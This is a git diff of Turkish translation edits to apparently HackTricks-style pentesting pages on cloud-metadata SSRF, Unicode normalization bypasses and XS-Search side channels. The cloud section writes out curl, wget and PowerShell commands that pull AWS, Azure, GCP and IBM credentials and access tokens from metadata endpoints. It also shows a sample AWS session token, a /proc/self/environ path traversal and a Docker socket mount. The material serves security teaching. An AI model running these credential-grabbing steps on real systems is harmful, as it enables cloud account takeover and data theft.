Ayrıca genel **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Daha sonra **bu kimlik bilgilerini AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır.
|
||||
Daha sonra **bu kimlik bilgilerini alıp AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır.
|
||||
|
||||
Yeni kimlik bilgilerini kullanmak için, aşağıdaki gibi yeni bir AWS profili oluşturmanız gerekecek:
|
||||
Yeni kimlik bilgilerini kullanmak için, şu şekilde yeni bir AWS profili oluşturmanız gerekecek:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG71[...]
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Dikkat edin **aws_session_token**, bu profilin çalışması için vazgeçilmezdir.
|
||||
Dikkat edin, **aws_session_token**, profilin çalışması için vazgeçilmezdir.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) keşfedilen kimlik bilgileri ile ayrıcalıklarınızı öğrenmek ve ayrıcalıkları artırmaya çalışmak için kullanılabilir.
|
||||
|
||||
### AWS ECS (Konteyner Servisi) kimlik bilgilerinde SSRF
|
||||
### AWS ECS (Konteyner Servisi) kimlik bilgileri üzerindeki SSRF
|
||||
|
||||
**ECS**, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS**'de çalışan bir hizmeti ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**.
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\<GUID>**'yi bulmanız gerekiyor. \<GUID>’yi bulmak için makine içindeki **environ** değişkeni **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**'yi okumanız gerekiyor.\
|
||||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** istismar ederek okuyabilirsiniz.\
|
||||
Bahsedilen http adresi size **AccessKey, SecretKey ve token** vermelidir.
|
||||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** kullanarak okuyabilirsiniz.\
|
||||
Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı vermelidir.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
@ -118,7 +118,7 @@ Bu durumda **kimlik bilgileri env değişkenlerinde** saklanmaktadır. Bu nedenl
|
||||
Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları **başlatıldığında fonksiyona iletilen olay verilerine** de sahiptir. Bu veriler, [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) aracılığıyla fonksiyona sunulur ve **hassas** **bilgiler** (örneğin **stageVariables** içinde) içerebilir. IAM kimlik bilgilerinin aksine, bu verilere standart SSRF üzerinden **`http://localhost:9001/2018-06-01/runtime/invocation/next`** adresinden erişilebilir.
|
||||
|
||||
> [!WARNING]
|
||||
> **Lambda kimlik bilgileri** env değişkenlerinin içindedir. Bu nedenle, lambda kodunun **stack trace**'i env değişkenlerini yazdırıyorsa, uygulamada bir hata provok ederek **sızdırılması** mümkündür.
|
||||
> **Lambda kimlik bilgileri** env değişkenlerinin içindedir. Bu nedenle, lambda kodunun **stack trace**'i env değişkenlerini yazdırıyorsa, uygulamada bir hata provok ederek **onları dışarı sızdırmak** mümkündür.
|
||||
|
||||
### AWS Elastic Beanstalk için SSRF URL'si
|
||||
|
||||
@ -141,7 +141,7 @@ Sonra kimlik bilgilerini `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]
|
||||
|
||||
### Google Cloud için SSRF URL'si
|
||||
|
||||
**`Metadata-Flavor: Google`** HTTP başlığını gerektirir ve metadata uç noktasına aşağıdaki URL'lerle erişebilirsiniz:
|
||||
**`Metadata-Flavor: Google`** HTTP başlığını gerektirir ve aşağıdaki URL'lerle metadata uç noktasına erişebilirsiniz:
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
||||
```
|
||||
### Cloud Functions
|
||||
|
||||
Metadata uç noktası, bazı uç noktalar olmadan VM'lerdeki gibi çalışır:
|
||||
Metadata uç noktası, VM'lerdeki gibi çalışır ancak bazı uç noktalar olmadan:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
@ -299,9 +299,9 @@ done
|
||||
## Digital Ocean
|
||||
|
||||
> [!WARNING]
|
||||
> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yoktur, bu yüzden bot kimlik bilgilerini bulmayı beklemeyin.
|
||||
> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yoktur, bu yüzden metadata bot kimlik bilgilerini bulmayı beklemeyin.
|
||||
|
||||
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
Dokümantasyon [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) adresinde mevcuttur.
|
||||
```
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
@ -317,21 +317,21 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
|
||||
### Azure VM
|
||||
|
||||
[**Belgeler** burada](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
[**Docs** burada](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
- **Şu** başlığı içermelidir `Metadata: true`
|
||||
- **Şu** başlığı içermelidir: `Metadata: true`
|
||||
- **X-Forwarded-For** başlığını **içermemelidir**
|
||||
|
||||
> [!TIP]
|
||||
> Bir Azure VM, 1 sistem yönetilen kimlik ve birkaç kullanıcı yönetilen kimlik ile ilişkilendirilebilir. Bu, temelde bir VM'ye bağlı **tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir.
|
||||
> Bir Azure VM, 1 sistem yönetilen kimlik ve birkaç kullanıcı yönetilen kimlik ile ilişkilendirilebilir. Bu, temelde bir VM'ye **bağlı tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir.
|
||||
>
|
||||
> **Varsayılan** olarak, metadata uç noktası **sistem atanan MI'yi (varsa)** kullanacaktır.
|
||||
> Metadata uç noktasına erişim token'ı talep ederken, varsayılan olarak metadata servisi, eğer varsa **sistem atanan yönetilen kimliği** kullanarak token'ı oluşturur. Eğer sadece **BİR kullanıcı atanan yönetilen kimlik** varsa, bu varsayılan olarak kullanılacaktır. Ancak, eğer sistem atanan yönetilen kimlik yoksa ve **birden fazla kullanıcı atanan yönetilen kimlik** varsa, metadata servisi, birden fazla yönetilen kimlik olduğunu belirten bir hata döndürecektir ve **hangi kimliği kullanacağınızı belirtmeniz gerekecektir**.
|
||||
>
|
||||
> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım.
|
||||
> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım, bu nedenle bir Red Team perspektifinden bir VM'ye atanan tüm yönetilen kimlikleri bulmak zor bir görev olabilir.
|
||||
>
|
||||
> Bu nedenle, tüm bağlı MI'leri bulmak için şunları yapabilirsiniz:
|
||||
> Bu nedenle, bağlı tüm MI'leri bulmak için şunları yapabilirsiniz:
|
||||
>
|
||||
> - **az cli** ile **bağlı kimlikleri alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz)
|
||||
> - **az cli ile bağlı kimlikleri alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz)
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> Token isteklerinde kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**belgeler**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
> Token taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
|
||||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||||
|
||||
# Paths
|
||||
## Get management token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
## Get graph token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
## Get vault token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
## Get storage token
|
||||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||||
|
||||
|
||||
# More Paths
|
||||
/metadata/instance?api-version=2017-04-02
|
||||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||
@ -426,7 +439,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
- [https://management.azure.com](https://management.azure.com/)
|
||||
|
||||
> [!CAUTION]
|
||||
> Token isteklerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
> Token isteklerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Bash"}}
|
||||
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="PS"}}
|
||||
```powershell
|
||||
```bash
|
||||
# Define the API version
|
||||
$API_VERSION = "2019-08-01"
|
||||
|
||||
@ -511,7 +524,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||||
## IBM Cloud
|
||||
|
||||
> [!WARNING]
|
||||
> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile buna erişemeyebilirsiniz.
|
||||
> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile ona erişemeyebilirsiniz.
|
||||
```bash
|
||||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||||
-H "Metadata-Flavor: ibm"\
|
||||
@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
||||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
Aşağıda, çeşitli platformların metadata hizmetleri için belgeleri, yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulayarak özetlenmiştir. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunar.
|
||||
Aşağıda çeşitli platformların metadata hizmetleri için belgeleri özetlenmiştir; bu belgeler, örneklerin yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
@ -543,13 +556,13 @@ Packetcloud'un metadata'sına erişim için belgeler şurada bulunabilir: [https
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
Bir başlık gerekliliği burada belirtilmemiştir. Metadata şu şekilde erişilebilir:
|
||||
Bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu şekilde erişilebilir:
|
||||
|
||||
- `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
Burada da bir başlık gerekliliği belirtilmemiştir. Metadata şu adresten erişilebilir:
|
||||
Burada da bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adresten erişilebilir:
|
||||
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
@ -564,7 +577,7 @@ Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sa
|
||||
|
||||
## Alibaba
|
||||
|
||||
Alibaba, örnek ve görüntü kimliklerine erişim için uç noktalar sunar:
|
||||
Alibaba, örnek ve görüntü kimlikleri de dahil olmak üzere metadata'ya erişim için uç noktalar sunar:
|
||||
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
@ -579,7 +592,7 @@ Kubernetes ETCD, API anahtarları, dahili IP adresleri ve portlar tutabilir. Eri
|
||||
|
||||
## Docker
|
||||
|
||||
Docker metadata'sına yerel olarak erişilebilir, konteyner ve görüntü bilgilerini alma örnekleri verilmiştir:
|
||||
Docker metadata'sına yerel olarak erişilebilir; konteyner ve görüntü bilgilerini alma örnekleri verilmiştir:
|
||||
|
||||
- Docker soketi aracılığıyla konteynerler ve görüntüler metadata'sına erişim için basit bir örnek:
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
||||
@ -9,16 +9,16 @@
|
||||
Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle çalışırken kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar:
|
||||
|
||||
1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahip olduklarında kanonik olarak eşdeğer kabul edilir.
|
||||
2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir.
|
||||
2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği, ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir.
|
||||
|
||||
**Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz.
|
||||
|
||||
### Unicode Kodlama Üzerine Ana Noktalar
|
||||
### Unicode Kodlama Üzerine Anahtar Noktalar
|
||||
|
||||
Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla uğraşırken çok önemlidir. İşte ana noktalar:
|
||||
Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla başa çıkarken çok önemlidir. İşte ana noktalar:
|
||||
|
||||
- **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembole "kod noktası" olarak bilinen bir sayısal değer atanır.
|
||||
- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar.
|
||||
- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla baytla temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar.
|
||||
- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği ve diğer karakterler için dört bayta kadar kullanılan yaygın bir kodlama standardıdır.
|
||||
- **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olması gerekir.
|
||||
- **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır.
|
||||
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### Keşif
|
||||
|
||||
Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştirilmektedir.
|
||||
Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştiriliyor demektir.
|
||||
|
||||
Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` **unicode** sonrasında `Leonishan` olur.
|
||||
|
||||
@ -93,9 +93,9 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak
|
||||
|
||||
Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir.
|
||||
|
||||
Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın.
|
||||
[**recollapse**](https://github.com/0xacb/recollapse) arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın.
|
||||
|
||||
## Unicode Taşması
|
||||
## Unicode Overflow
|
||||
|
||||
Bu [blogdan](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), bir baytın maksimum değeri 255'tir, eğer sunucu savunmasızsa, belirli ve beklenmedik bir ASCII karakteri üretmek için bir taşma oluşturulabilir. Örneğin, aşağıdaki karakterler `A`'ya dönüştürülecektir:
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
XS-Search, **yan kanal zafiyetlerini** kullanarak **çapraz kaynak bilgilerini** **çıkarma** yöntemi olarak kullanılır.
|
||||
XS-Search, **yan kanal zafiyetlerini** kullanarak **çapraz köken bilgilerini** **çıkarmak için** kullanılan bir yöntemdir.
|
||||
|
||||
Bu saldırıda yer alan ana bileşenler şunlardır:
|
||||
|
||||
@ -20,40 +20,40 @@ Bu saldırıda yer alan ana bileşenler şunlardır:
|
||||
Zayıf Web'in durumlarını ayırt etmek için analiz edilebilecek birkaç yön vardır:
|
||||
|
||||
- **Durum Kodu**: **Çeşitli HTTP yanıt durum kodları** arasında ayırt etme, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi.
|
||||
- **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** belirleme, çapraz kaynak bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma.
|
||||
- **Yönlendirmeler**: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenleri de.
|
||||
- **Sayfa İçeriği**: **HTTP yanıt gövdesindeki** veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin **gömülü çerçeve sayısı** veya resimlerdeki boyut farklılıkları.
|
||||
- **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** belirleme, çapraz köken bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma.
|
||||
- **Yönlendirmeler**: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenler.
|
||||
- **Sayfa İçeriği**: **HTTP yanıt gövdesindeki** veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin **gömülü çerçevelerin sayısı** veya resimlerdeki boyut farklılıkları.
|
||||
- **HTTP Başlığı**: **Belirli bir HTTP yanıt başlığının** varlığını veya muhtemel değerini not etme, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıklar dahil.
|
||||
- **Zamanlama**: İki durum arasındaki tutarlı zaman farklılıklarını fark etme.
|
||||
|
||||
### Dahil Etme Yöntemleri
|
||||
|
||||
- **HTML Elemanları**: HTML, **çapraz kaynak dahil etme** için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcının HTML dışı bir kaynağı talep etmesini zorunlu kılar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir.
|
||||
- **HTML Elemanları**: HTML, **çapraz köken kaynak dahil etme** için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcıyı HTML dışı bir kaynağı talep etmeye zorlar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir.
|
||||
- **Çerçeveler**: **iframe**, **object** ve **embed** gibi elemanlar, HTML kaynaklarını doğrudan saldırganın sayfasına gömebilir. Eğer sayfa **çerçeve korumasından yoksunsa**, JavaScript, içerikWindow özelliği aracılığıyla çerçevelenmiş kaynağın pencere nesnesine erişebilir.
|
||||
- **Açılır Pencereler**: **`window.open`** yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar, JavaScript'in SOP'ye uygun olarak yöntemler ve özelliklerle etkileşimde bulunması için bir **pencere tutamacı** sağlar. Açılır pencereler, genellikle tek oturum açma işlemlerinde kullanılır, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını aşar. Ancak, modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemleriyle sınırlamaktadır.
|
||||
- **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, HTTP yönlendirmelerini takip etme gibi isteği hassas bir şekilde kontrol etme imkanı sunar.
|
||||
- **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, isteği takip etme gibi isteğin üzerinde hassas kontrol sağlar.
|
||||
|
||||
### Sızıntı Teknikleri
|
||||
|
||||
- **Olay İşleyici**: XS-Leaks'teki klasik bir sızıntı tekniği, **onload** ve **onerror** gibi olay işleyicilerin kaynak yükleme başarısı veya başarısızlığı hakkında bilgi sağlamasıdır.
|
||||
- **Hata Mesajları**: JavaScript istisnaları veya özel hata sayfaları, ya doğrudan hata mesajından ya da varlığı ve yokluğu arasındaki farkı ayırt ederek sızıntı bilgisi sağlayabilir.
|
||||
- **Küresel Sınırlar**: Bir tarayıcının fiziksel sınırlamaları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşik aşıldığında sinyal verebilir ve sızıntı tekniği olarak hizmet edebilir.
|
||||
- **Küresel Durum**: Tarayıcıların **küresel durumları** (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki **giriş sayısı**, çapraz kaynak sayfalar hakkında ipuçları verebilir.
|
||||
- **Performans API'si**: Bu API, **mevcut sayfanın performans detaylarını** sağlar, belgeler ve yüklenen kaynaklar için ağ zamanlaması dahil, talep edilen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar.
|
||||
- **Okunabilir Nitelikler**: Bazı HTML nitelikleri **çapraz kaynak olarak okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasında çapraz kaynak olarak dahil edilen çerçeveleri saymasına olanak tanır.
|
||||
- **Küresel Durum**: Tarayıcıların **küresel durumları** (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki **giriş sayısı**, çapraz köken sayfalar hakkında ipuçları verebilir.
|
||||
- **Performans API'si**: Bu API, **mevcut sayfanın performans detaylarını** sağlar, belgenin ve yüklenen kaynakların ağ zamanlamasını içerir, talep edilen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar.
|
||||
- **Okunabilir Özellikler**: Bazı HTML özellikleri **çapraz köken okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasında çapraz köken olarak dahil edilen çerçeveleri saymasına olanak tanır.
|
||||
|
||||
## XSinator Aracı ve Makalesi
|
||||
|
||||
